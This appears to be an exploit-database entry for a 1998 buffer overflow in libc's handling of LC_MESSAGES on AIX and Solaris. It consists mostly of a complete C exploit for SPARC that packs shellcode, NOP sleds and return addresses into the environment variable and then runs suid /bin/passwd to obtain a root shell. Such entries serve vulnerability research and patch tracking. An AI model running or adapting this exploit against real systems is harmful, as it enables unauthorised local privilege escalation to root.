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AIX and Solaris
by:
UNYUN
7.2
CVSS
HIGH
Buffer Overflow
120
CWE
Product Name: AIX and Solaris
Affected Version From: IBM's AIX and Sun Microsystem's Solaris
Affected Version To: IBM's AIX and Sun Microsystem's Solaris
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Sparc
1998

Buffer Overflow in libc’s Handling of the LC_MESSAGES Environment Variable

A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.

Mitigation:

Ensure that the LC_MESSAGES environment variable is set to a valid value.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/268/info
    
A buffer overflow in libc's handling of the LC_MESSAGES environment variable allows a malicious user to exploit any suid root program linked agains libc to obtain root privileges. This problem is found in both IBM's AIX and Sun Microsystem's Solaris. This vulnerability allows local users to gain root privileges.
*/

/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4th@usa.net)
  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main()
{
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){   
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
}